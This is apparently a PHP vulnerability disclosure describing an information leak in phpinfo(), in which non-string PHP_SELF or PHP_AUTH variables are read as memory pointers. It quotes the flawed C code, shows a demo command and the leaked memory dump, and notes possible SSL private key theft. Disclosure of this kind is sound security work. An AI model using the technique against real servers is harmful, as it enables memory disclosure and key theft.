Description:
------------
Hey,
I recently discovered an easy to exploit arbitrary information leak
vulnerability in PHP. The information leak can be exploited by setting
PHP_SELF, PHP_AUTH_TYPE, PHP_AUTH_USER or PHP_AUTH_PW to non-string
variables before calling phpinfo().
When you look at the code from /ext/standard/info.c you will see that
the code simply trusts that the returned ZVALs are of type STRING. If
there are however integers the code will interpret the integer as a in
memory pointer and print out the binary string at that position.
php_info_print_table_start();
php_info_print_table_header(2, "Variable", "Value");
if (zend_hash_find(&EG(symbol_table), "PHP_SELF",
sizeof("PHP_SELF"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_SELF", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_TYPE",
sizeof("PHP_AUTH_TYPE"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_AUTH_TYPE", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_USER",
sizeof("PHP_AUTH_USER"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_AUTH_USER", Z_STRVAL_PP(data));
}
if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_PW",
sizeof("PHP_AUTH_PW"), (void **) &data) != FAILURE) {
php_info_print_table_row(2, "PHP_AUTH_PW", Z_STRVAL_PP(data));
}
I have attached a patch to fix this problem and the demo exploit used to
create the following output.
(As you can see there are a bunch of 0x20 in the output that should
actually be 0x00. I believe this is due to a bug in php_write() that
seems to write a space in case of an empty string??? But I did not
actually research this.)
$ vmmap $$ | grep _TEXT | grep libSystem
__TEXT 00007fff8da9f000-00007fff8daa1000 [ 8K]
r-x/r-x SM=COW /usr/lib/libSystem.B.dylib
$ php phpinfo_infoleak_512.php 0x7fff8da9f000
Heapdump
---------
00000000: cf fa ed fe 07 00 20 01 03 00 20 20 06 00 20 20 ...... ... ..
00000010: 2a 00 20 20 c0 0c 00 20 b5 00 20 80 00 20 20 20 *. ... .. ..
00000020: 19 00 20 20 d8 01 00 20 5f 5f 54 45 58 54 00 20 .. ... __TEXT.
00000030: 20 20 20 20 20 20 20 20 20 90 de 84 ff 7f 00 20 .....
00000040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
00000050: 20 20 20 20 20 20 20 20 07 00 20 20 05 00 20 20 .. ..
00000060: 05 00 20 20 20 20 20 20 5f 5f 74 65 78 74 00 20 .. __text.
00000070: 20 20 20 20 20 20 20 20 5f 5f 54 45 58 54 00 20 __TEXT.
00000080: 20 20 20 20 20 20 20 20 1a aa de 84 ff 7f 00 20 ......
00000090: a4 01 00 20 20 20 20 20 1a 1a 00 20 20 20 20 20 ... ...
000000a0: 20 20 20 20 20 20 20 20 20 04 00 80 00 20 20 20 ....
000000b0: 20 20 20 20 20 20 20 20 5f 5f 73 74 75 62 73 00 __stubs.
000000c0: 20 20 20 20 20 20 20 20 5f 5f 54 45 58 54 00 20 __TEXT.
000000d0: 20 20 20 20 20 20 20 20 be ab de 84 ff 7f 00 20 ......
000000e0: 56 01 00 20 20 20 20 20 be 1b 00 20 01 00 20 20 V.. ... ..
000000f0: 20 20 20 20 20 20 20 20 08 04 00 80 00 20 20 20 .....
00000100: 06 00 20 20 20 20 20 20 5f 5f 73 74 75 62 5f 68 .. __stub_h
00000110: 65 6c 70 65 72 00 20 20 5f 5f 54 45 58 54 00 20 elper. __TEXT.
00000120: 20 20 20 20 20 20 20 20 14 ad de 84 ff 7f 00 20 ......
00000130: 4a 02 00 20 20 20 20 20 14 1d 00 20 02 00 20 20 J.. ... ..
00000140: 20 20 20 20 20 20 20 20 20 04 00 80 00 20 20 20 ....
00000150: 20 20 20 20 20 20 20 20 5f 5f 63 6f 6e 73 74 00 __const.
00000160: 20 20 20 20 20 20 20 20 5f 5f 54 45 58 54 00 20 __TEXT.
00000170: 20 20 20 20 20 20 20 20 60 af de 84 ff 7f 00 20 `.....
00000180: 40 00 20 20 20 20 20 20 60 1f 00 20 04 00 20 20 @. `.. ..
00000190: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000001a0: 20 20 20 20 20 20 20 20 5f 5f 75 6e 77 69 6e 64 __unwind
000001b0: 5f 69 6e 66 6f 00 20 20 5f 5f 54 45 58 54 00 20 _info. __TEXT.
000001c0: 20 20 20 20 20 20 20 20 a0 af de 84 ff 7f 00 20 ......
000001d0: 58 00 20 20 20 20 20 20 a0 1f 00 20 20 20 20 20 X. ...
000001e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000001f0: 20 20 20 20 20 20 20 20 19 00 20 20 28 02 00 20 .. (..
Because this is only exploitable in case these variables are overwritten
as integers, which is less likely in a remote context this has to be
mostly considered a local information leak only. However if you are
running as mod_php and there is mod_ssl this could be used to steal the
private SSL key from memory (if you can inject PHP code).
Regards,
Stefan Esser